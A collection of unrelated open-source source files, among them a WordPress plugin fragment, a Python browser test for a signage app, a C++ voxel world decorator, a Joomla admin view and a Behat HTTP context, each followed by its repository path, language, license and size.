<div class="updated einfo"><p><?php _e( 'Create as many sidebars as you need. Then add them in your pages/posts/template files. Here is how you can add sidebars:<br /><br /> - page/post bellow content using the Grid Manager metabox when you edit your page<br /> - page/post content - select the sidebar you want to insert from the Insert Sidebar ShortCode button in your page/post editor.<br /> - page/post content - copy the shortcode and paste it in the editor of a page/post.<br /> - any page template using the do_shortcode WP function.<br /><br />Use the Sidebar ID to build your shortcodes.<br />Example: [otw_is sidebar=otw-sidebar-1] ' );?></p></div>
<?php }else{ ?>
<p><?php _e('No custom sidebars found.')?></p>
<?php } ?>
</div>
| rm913/lamaze-dc | wp-content/plugins/widgetize-pages-light/include/otw_list_sidebars.php | PHP | gpl-2.0 | 4,748 |
from splinter import Browser
from time import sleep
from selenium.common.exceptions import ElementNotVisibleException
from settings import settings
from lib import db
from lib import assets_helper
import unittest
from datetime import datetime, timedelta
asset_x = {
'mimetype': u'web',
'asset_id': u'4c8dbce552edb5812d3a866cfe5f159d',
'name': u'WireLoad',
'uri': u'http://www.wireload.net',
'start_date': datetime.now() - timedelta(days=1),
'end_date': datetime.now() + timedelta(days=1),
'duration': u'5',
'is_enabled': 0,
'nocache': 0,
'play_order': 1,
}
asset_y = {
'mimetype': u'image',
'asset_id': u'7e978f8c1204a6f70770a1eb54a76e9b',
'name': u'Google',
'uri': u'https://www.google.com/images/srpr/logo3w.png',
'start_date': datetime.now() - timedelta(days=1),
'end_date': datetime.now() + timedelta(days=1),
'duration': u'6',
'is_enabled': 1,
'nocache': 0,
'play_order': 0,
}
main_page_url = 'http://foo:bar@localhost:8080'
settings_url = 'http://foo:bar@localhost:8080/settings'
system_info_url = 'http://foo:bar@localhost:8080/system_info'
def wait_for_and_do(browser, query, callback):
not_filled = True
n = 0
while not_filled:
try:
callback(browser.find_by_css(query).first)
not_filled = False
except ElementNotVisibleException, e:
if n > 20:
raise e
n += 1
class WebTest(unittest.TestCase):
def setUp(self):
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
for asset in assets:
assets_helper.delete(conn, asset['asset_id'])
def tearDown(self):
pass
def test_add_asset_url(self):
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="uri"]', lambda field: field.fill('http://example.com'))
sleep(1)
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'http://example.com')
self.assertEqual(asset['uri'], u'http://example.com')
self.assertEqual(asset['mimetype'], u'webpage')
self.assertEqual(asset['duration'], settings['default_duration'])
def test_edit_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '.edit-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="duration"]', lambda field: field.fill('333'))
sleep(1) # wait for new-asset panel animation
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['duration'], u'333')
def test_add_asset_image_upload(self):
image_file = '/tmp/image.png'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(image_file))
sleep(1) # wait for new-asset panel animation
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'image.png')
self.assertEqual(asset['mimetype'], u'image')
self.assertEqual(asset['duration'], settings['default_duration'])
def test_add_asset_video_upload(self):
video_file = '/tmp/video.flv'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(video_file))
sleep(1) # wait for new-asset panel animation
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'video.flv')
self.assertEqual(asset['mimetype'], u'video')
self.assertEqual(asset['duration'], u'54')
def test_add_two_assets_upload(self):
video_file = '/tmp/video.flv'
image_file = '/tmp/image.png'
with Browser() as browser:
browser.visit(main_page_url)
browser.find_by_id('add-asset-button').click()
sleep(1)
wait_for_and_do(browser, 'a[href="#tab-file_upload"]', lambda tab: tab.click())
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(image_file))
wait_for_and_do(browser, 'input[name="file_upload"]', lambda input: input.fill(video_file))
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 2)
self.assertEqual(assets[0]['name'], u'image.png')
self.assertEqual(assets[0]['mimetype'], u'image')
self.assertEqual(assets[0]['duration'], settings['default_duration'])
self.assertEqual(assets[1]['name'], u'video.flv')
self.assertEqual(assets[1]['mimetype'], u'video')
self.assertEqual(assets[1]['duration'], u'54')
def test_add_asset_streaming(self):
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '#add-asset-button', lambda btn: btn.click())
sleep(1)
wait_for_and_do(browser, 'input[name="uri"]', lambda field: field.fill('rtmp://localhost:1935/app/video.flv'))
sleep(1)
wait_for_and_do(browser, '#add-form', lambda form: form.click())
sleep(1)
wait_for_and_do(browser, '#save-asset', lambda btn: btn.click())
sleep(10) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['name'], u'rtmp://localhost:1935/app/video.flv')
self.assertEqual(asset['uri'], u'rtmp://localhost:1935/app/video.flv')
self.assertEqual(asset['mimetype'], u'streaming')
self.assertEqual(asset['duration'], settings['default_streaming_duration'])
def test_rm_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, '.delete-asset-button', lambda btn: btn.click())
wait_for_and_do(browser, '.confirm-delete', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 0)
def test_enable_asset(self):
with db.conn(settings['database']) as conn:
assets_helper.create(conn, asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, 'span[class="on"]', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['is_enabled'], 1)
def test_disable_asset(self):
with db.conn(settings['database']) as conn:
_asset_x = asset_x.copy()
_asset_x['is_enabled'] = 1
assets_helper.create(conn, _asset_x)
with Browser() as browser:
browser.visit(main_page_url)
wait_for_and_do(browser, 'span[class="off"]', lambda btn: btn.click())
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
assets = assets_helper.read(conn)
self.assertEqual(len(assets), 1)
asset = assets[0]
self.assertEqual(asset['is_enabled'], 0)
def test_reorder_asset(self):
with db.conn(settings['database']) as conn:
_asset_x = asset_x.copy()
_asset_x['is_enabled'] = 1
assets_helper.create(conn, _asset_x)
assets_helper.create(conn, asset_y)
with Browser() as browser:
browser.visit(main_page_url)
asset_x_for_drag = browser.find_by_id(asset_x['asset_id'])
sleep(1)
asset_y_to_reorder = browser.find_by_id(asset_y['asset_id'])
asset_x_for_drag.drag_and_drop(asset_y_to_reorder)
sleep(3) # backend need time to process request
with db.conn(settings['database']) as conn:
x = assets_helper.read(conn, asset_x['asset_id'])
y = assets_helper.read(conn, asset_y['asset_id'])
self.assertEqual(x['play_order'], 0)
self.assertEqual(y['play_order'], 1)
def test_settings_page_should_work(self):
with Browser() as browser:
browser.visit(settings_url)
self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False,
'500: internal server error not expected')
def test_system_info_page_should_work(self):
with Browser() as browser:
browser.visit(system_info_url)
self.assertEqual(browser.is_text_present('Error: 500 Internal Server Error'), False,
'500: internal server error not expected')
| zhouhan0126/SCREENTEST1 | tests/splinter_test.py | Python | gpl-2.0 | 11,129 |
/*
* Copyright (C) 2012-2017 Jacob R. Lifshay
* This file is part of Voxels.
*
* Voxels is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Voxels is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Voxels; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*/
#ifndef COBBLESTONE_SPIKE_H_INCLUDED
#define COBBLESTONE_SPIKE_H_INCLUDED
#include "generate/decorator.h"
#include "generate/decorator/pregenerated_instance.h"
#include "block/builtin/cobblestone.h"
#include "util/global_instance_maker.h"
namespace programmerjake
{
namespace voxels
{
namespace Decorators
{
namespace builtin
{
class CobblestoneSpikeDecorator : public DecoratorDescriptor
{
friend class global_instance_maker<CobblestoneSpikeDecorator>;
private:
CobblestoneSpikeDecorator() : DecoratorDescriptor(L"builtin.cobblestone_spike", 1, 1000)
{
}
public:
static const CobblestoneSpikeDecorator *pointer()
{
return global_instance_maker<CobblestoneSpikeDecorator>::getInstance();
}
static DecoratorDescriptorPointer descriptor()
{
return pointer();
}
/** @brief create a DecoratorInstance for this decorator in a chunk
*
* @param chunkBasePosition the base position of the chunk to generate in
* @param columnBasePosition the base position of the column to generate in
* @param surfacePosition the surface position of the column to generate in
* @param lock_manager the WorldLockManager
* @param chunkBaseIterator a BlockIterator to chunkBasePosition
* @param blocks the blocks for this chunk
* @param randomSource the RandomSource
* @param generateNumber a number that is different for each decorator in a chunk (use for
*picking a different position each time)
* @return the new DecoratorInstance or nullptr
*
*/
virtual std::shared_ptr<const DecoratorInstance> createInstance(
PositionI chunkBasePosition,
PositionI columnBasePosition,
PositionI surfacePosition,
WorldLockManager &lock_manager,
BlockIterator chunkBaseIterator,
const BlocksGenerateArray &blocks,
RandomSource &randomSource,
std::uint32_t generateNumber) const override
{
std::shared_ptr<PregeneratedDecoratorInstance> retval =
std::make_shared<PregeneratedDecoratorInstance>(
surfacePosition, this, VectorI(-5, 0, -5), VectorI(11, 10, 11));
for(int i = 0; i < 5; i++)
{
retval->setBlock(VectorI(0, i, 0), Block(Blocks::builtin::Cobblestone::descriptor()));
}
for(int i = 5; i < 10; i++)
{
retval->setBlock(VectorI(5 - i, i, 0),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(i - 5, i, 0),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(0, i, 5 - i),
Block(Blocks::builtin::Cobblestone::descriptor()));
retval->setBlock(VectorI(0, i, i - 5),
Block(Blocks::builtin::Cobblestone::descriptor()));
}
return retval;
}
};
}
}
}
}
#endif // COBBLESTONE_SPIKE_H_INCLUDED
| programmerjake/voxels-0.7 | include/generate/decorator/cobblestone_spike.h | C | gpl-2.0 | 3,787 |
package speiger.src.api.common.recipes.squezingCompressor.parts;
import net.minecraft.item.ItemStack;
import net.minecraft.world.World;
import net.minecraftforge.fluids.FluidStack;
import net.minecraftforge.fluids.FluidTank;
import speiger.src.api.common.recipes.squezingCompressor.EnumRecipeType;
import speiger.src.api.common.recipes.util.RecipeHardness;
import speiger.src.api.common.recipes.util.Result;
public class SqueezerRecipe implements INormalRecipe
{
ItemStack recipeInput;
Result[] result;
public SqueezerRecipe(ItemStack par1, Result...par2)
{
recipeInput = par1;
result = par2;
}
@Override
public ItemStack getItemInput()
{
return recipeInput;
}
@Override
public FluidStack[] getFluidInput()
{
return null;
}
@Override
public Result[] getResults()
{
return result;
}
@Override
public boolean matches(ItemStack input, FluidTank first, FluidTank second, World world)
{
if(recipeInput.isItemEqual(input) && input.stackSize >= recipeInput.stackSize)
{
return true;
}
return false;
}
@Override
public EnumRecipeType getRecipeType()
{
return EnumRecipeType.Sqeezing;
}
@Override
public void runResult(ItemStack input, FluidTank first, FluidTank second, World world)
{
input.stackSize -= recipeInput.stackSize;
}
@Override
public RecipeHardness getComplexity()
{
return RecipeHardness.Extrem_Easy;
}
}
| TinyModularThings/TinyModularThings | src/speiger/src/api/common/recipes/squezingCompressor/parts/SqueezerRecipe.java | Java | gpl-2.0 | 1,458 |
<?php
/**
* @package Joomla.Administrator
* @subpackage com_newsfeeds
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Newsfeeds\Administrator\View\Newsfeeds;
\defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;
/**
* View class for a list of newsfeeds.
*
* @since 1.6
*/
class HtmlView extends BaseHtmlView
{
/**
* The list of newsfeeds
*
* @var \JObject
* @since 1.6
*/
protected $items;
/**
* The pagination object
*
* @var \Joomla\CMS\Pagination\Pagination
* @since 1.6
*/
protected $pagination;
/**
* The model state
*
* @var \JObject
* @since 1.6
*/
protected $state;
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse; automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.6
*/
public function display($tpl = null)
{
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new GenericDataException(implode("\n", $errors), 500);
}
// We don't need toolbar in the modal layout.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
// We do not need to filter by language when multilingual is disabled
if (!Multilanguage::isEnabled())
{
unset($this->activeFilters['language']);
$this->filterForm->removeField('language', 'filter');
}
}
else
{
// In article associations modal we need to remove language filter if forcing a language.
// We also need to change the category filter to show show categories with All or the forced language.
if ($forcedLanguage = Factory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
{
// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
$languageXml = new \SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
$this->filterForm->setField($languageXml, 'filter', true);
// Also, unset the active language filter so the search tools is not open by default with this filter.
unset($this->activeFilters['language']);
// One last changes needed is to change the category filter to just show categories with All language or with the forced language.
$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
}
}
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*
* @since 1.6
*/
protected function addToolbar()
{
$state = $this->get('State');
$canDo = ContentHelper::getActions('com_newsfeeds', 'category', $state->get('filter.category_id'));
$user = Factory::getUser();
// Get the toolbar object instance
$toolbar = Toolbar::getInstance('toolbar');
ToolbarHelper::title(Text::_('COM_NEWSFEEDS_MANAGER_NEWSFEEDS'), 'rss newsfeeds');
if (count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)
{
$toolbar->addNew('newsfeed.add');
}
if ($canDo->get('core.edit.state') || $user->authorise('core.admin'))
{
$dropdown = $toolbar->dropdownButton('status-group')
->text('JTOOLBAR_CHANGE_STATUS')
->toggleSplit(false)
->icon('fas fa-ellipsis-h')
->buttonClass('btn btn-action')
->listCheck(true);
$childBar = $dropdown->getChildToolbar();
$childBar->publish('newsfeeds.publish')->listCheck(true);
$childBar->unpublish('newsfeeds.unpublish')->listCheck(true);
$childBar->archive('newsfeeds.archive')->listCheck(true);
if ($user->authorise('core.admin'))
{
$childBar->checkin('newsfeeds.checkin')->listCheck(true);
}
if (!$this->state->get('filter.published') == -2)
{
$childBar->trash('newsfeeds.trash')->listCheck(true);
}
// Add a batch button
if ($user->authorise('core.create', 'com_newsfeeds')
&& $user->authorise('core.edit', 'com_newsfeeds')
&& $user->authorise('core.edit.state', 'com_newsfeeds'))
{
$childBar->popupButton('batch')
->text('JTOOLBAR_BATCH')
->selector('collapseModal')
->listCheck(true);
}
if ($state->get('filter.published') == -2 && $canDo->get('core.delete'))
{
$childBar->delete('newsfeeds.delete')
->text('JTOOLBAR_EMPTY_TRASH')
->message('JGLOBAL_CONFIRM_DELETE')
->listCheck(true);
}
}
if ($user->authorise('core.admin', 'com_newsfeeds') || $user->authorise('core.options', 'com_newsfeeds'))
{
$toolbar->preferences('com_newsfeeds');
}
$toolbar->help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS');
}
}
| twister65/joomla-cms | administrator/components/com_newsfeeds/src/View/Newsfeeds/HtmlView.php | PHP | gpl-2.0 | 5,288 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_25) on Sat Jan 02 14:50:50 CET 2016 -->
<title>ra.woGibtEsWas Class Hierarchy</title>
<meta name="date" content="2016-01-02">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ra.woGibtEsWas Class Hierarchy";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li>Class</li>
<li class="navBarCell1Rev">Tree</li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../ra/servlets/package-tree.html">Prev</a></li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ra/woGibtEsWas/package-tree.html" target="_top">Frames</a></li>
<li><a href="package-tree.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h1 class="title">Hierarchy For Package ra.woGibtEsWas</h1>
<span class="packageHierarchyLabel">Package Hierarchies:</span>
<ul class="horizontal">
<li><a href="../../overview-tree.html">All Packages</a></li>
</ul>
</div>
<div class="contentContainer">
<h2 title="Class Hierarchy">Class Hierarchy</h2>
<ul>
<li type="circle">java.lang.Object
<ul>
<li type="circle">ra.woGibtEsWas.<a href="../../ra/woGibtEsWas/Abfragen.html" title="class in ra.woGibtEsWas"><span class="typeNameLink">Abfragen</span></a></li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li>Class</li>
<li class="navBarCell1Rev">Tree</li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../ra/servlets/package-tree.html">Prev</a></li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ra/woGibtEsWas/package-tree.html" target="_top">Frames</a></li>
<li><a href="package-tree.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| RefugeesWelcomeApp/ProjectManagement | 1. Portfolio/Beiliegende Dokumente/JavaDocs/ra/woGibtEsWas/package-tree.html | HTML | gpl-2.0 | 4,129 |
#include <cxxtools/http/request.h>
#include <cxxtools/http/reply.h>
#include <cxxtools/http/responder.h>
#include <cxxtools/arg.h>
#include <cxxtools/jsonserializer.h>
#include <cxxtools/serializationinfo.h>
#include <cxxtools/utf8codec.h>
#include <vdr/epg.h>
#include <vdr/plugin.h>
#include "tools.h"
#include "epgsearch/services.h"
#include "epgsearch.h"
#include "events.h"
#ifndef __RESTFUL_SEARCHTIMERS_H
#define __RESETFUL_SEARCHTIMERS_H
class SearchTimersResponder : public cxxtools::http::Responder
{
public:
explicit SearchTimersResponder(cxxtools::http::Service& service)
: cxxtools::http::Responder(service)
{ }
virtual void reply(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyShow(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyCreate(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyDelete(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replySearch(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
};
typedef cxxtools::http::CachedService<SearchTimersResponder> SearchTimersService;
class SearchTimerList : public BaseList
{
protected:
StreamExtension *s;
int total;
public:
SearchTimerList(std::ostream* _out);
~SearchTimerList();
virtual void init() { };
virtual void addSearchTimer(SerSearchTimerContainer searchTimer) { };
virtual void finish() { };
virtual void setTotal(int _total) { total = _total; };
};
class HtmlSearchTimerList : public SearchTimerList
{
public:
HtmlSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~HtmlSearchTimerList() { };
virtual void init();
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
class JsonSearchTimerList : public SearchTimerList
{
private:
std::vector< SerSearchTimerContainer > _items;
public:
JsonSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~JsonSearchTimerList() { };
virtual void init() { };
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
class XmlSearchTimerList : public SearchTimerList
{
public:
XmlSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~XmlSearchTimerList() { };
virtual void init();
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
#endif
| Saman-VDR/vdr-plugin-restfulapi | searchtimers.h | C | gpl-2.0 | 2,609 |
<?php
/**
* @package hubzero-cms
* @copyright Copyright (c) 2005-2020 The Regents of the University of California.
* @license http://opensource.org/licenses/MIT MIT
*/
namespace Components\Members\Admin;
if (!\User::authorise('core.manage', 'com_members'))
{
return \App::abort(403, \Lang::txt('JERROR_ALERTNOAUTHOR'));
}
// Include scripts
require_once dirname(__DIR__) . DS . 'models' . DS . 'member.php';
require_once dirname(__DIR__) . DS . 'helpers' . DS . 'admin.php';
$controllerName = \Request::getCmd('controller', 'members');
if (!file_exists(__DIR__ . DS . 'controllers' . DS . $controllerName . '.php'))
{
$controllerName = 'members';
}
// Build sub-menu
require_once __DIR__ . DS . 'helpers' . DS . 'members.php';
\MembersHelper::addSubmenu($controllerName);
// Instantiate controller
require_once __DIR__ . DS . 'controllers' . DS . $controllerName . '.php';
$controllerName = __NAMESPACE__ . '\\Controllers\\' . ucfirst($controllerName);
$controller = new $controllerName();
$controller->execute();
| hubzero/hubzero-cms | core/components/com_members/admin/members.php | PHP | gpl-2.0 | 1,035 |
<?php
namespace Cachan\Bbst\Context;
use Behat\Behat\Tester\Exception\PendingException;
use Cachan\Bbst\TestType\HttpTestType;
use Behat\Behat\Context\Context;
use Behat\Behat\Context\SnippetAcceptingContext;
/**
* Defines application Context from the specific context.
*/
class HttpContext implements Context, SnippetAcceptingContext
{
/** @var HttpTestType */
private $httpType;
public function __construct()
{
}
/**
* @Given I am in a web browser
*/
public function iAmInAWebBrowser()
{
$this->httpType = new HttpTestType();
$this->httpType->initialize();
}
/**
* @When I make an HTTP GET request to :arg1
*/
public function iMakeAnHttpRequestTo($arg1)
{
$this->httpType->makeRequest('GET', $arg1);
}
/**
* @Then I should be redirected to :arg1
*/
public function iShouldBeRedirectedTo($arg1)
{
if (!$this->httpType->isRedirectMatch($arg1)) {
throw new \Exception("Expected $arg1 does not match " . $this->httpType->getResponse()->getEffectiveUrl());
}
}
/**
* @Given I have an :type referer
*/
public function iHaveAnExternalReferer($type)
{
if ('internal' === $type) {
$this->httpType->setInternalReferer();
}
else if ('external' === $type) {
$this->httpType->setExternalReferer();
}
else {
throw new \Exception("Unknown referer type $type.");
}
}
/**
* @Then I should see the text :text
*/
public function iShouldSeeTheText($text)
{
if (false === $this->httpType->textExistsInResponseBody($text)) {
throw new \Exception("Expected text '$text' does not appear in the response'");
}
}
/**
* @Then I should receive response code :statusCode
*/
public function iShouldReceiveReponseCode($statusCode)
{
$actualCode = (int)$this->httpType->getStatusCode();
if ((int)$statusCode !== $actualCode) {
throw new \Exception("Expected status code $statusCode does not match $actualCode.");
}
}
/**
* @Then I should receive a file with MIME type :contentType
*/
public function iShouldReceiveAFileWithMimeType($contentType)
{
$actualType = $this->httpType->getContentType();
if ($contentType !== $actualType) {
throw new \Exception("Expected Content-Type $contentType does not match $actualType");
}
}
} | cachan/bbst | src/Cachan/Bbst/Context/HttpContext.php | PHP | gpl-2.0 | 2,550 |
PUMP_SELECTOR.CoordSlicer = function( parameters ) {
var image = parameters.image;
var coord = parameters.coord;
var name = parameters.name;
var obj = {};
if( image === undefined) {
//PUMPER.debug("PUMPER::CoordSlicer() - Cannot slice image, image missing.");
return undefined;
}else if (coord === undefined) {
//PUMPER.debug("PUMPER::CoordSlicer() - Warn: No coordinate data given. Returning image.");
return obj[name] = obj;
}else{
var coords = coord.split("\n");
coords.clean("");
for(var i=0;i<coords.length;i++) {
var coordinate = coords[i].split(" ");
obj[coordinate[0]] = PUMP_SELECTOR.CropImage(image,coordinate[1],coordinate[2],coordinate[3],coordinate[4]);
}
return obj;
}
};
| racerxdl/f2rank | jsselector/coord.js | JavaScript | gpl-2.0 | 823 |
package gof.structure.proxy;
public class ProxySubject extends Subject {
private RealSubject realSubject;
public ProxySubject(){
}
/* (non-Javadoc)
* @see gof.structure.proxy.Subject#request()
*
* Subject subject = new ProxySubject();
* subject.request();
*/
@Override
public void request() {
preRequest();
if(realSubject == null){
realSubject = new RealSubject();
}
realSubject.request();
postRequest();
}
private void preRequest(){
}
private void postRequest(){
}
}
| expleeve/GoF23 | src/gof/structure/proxy/ProxySubject.java | Java | gpl-2.0 | 560 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.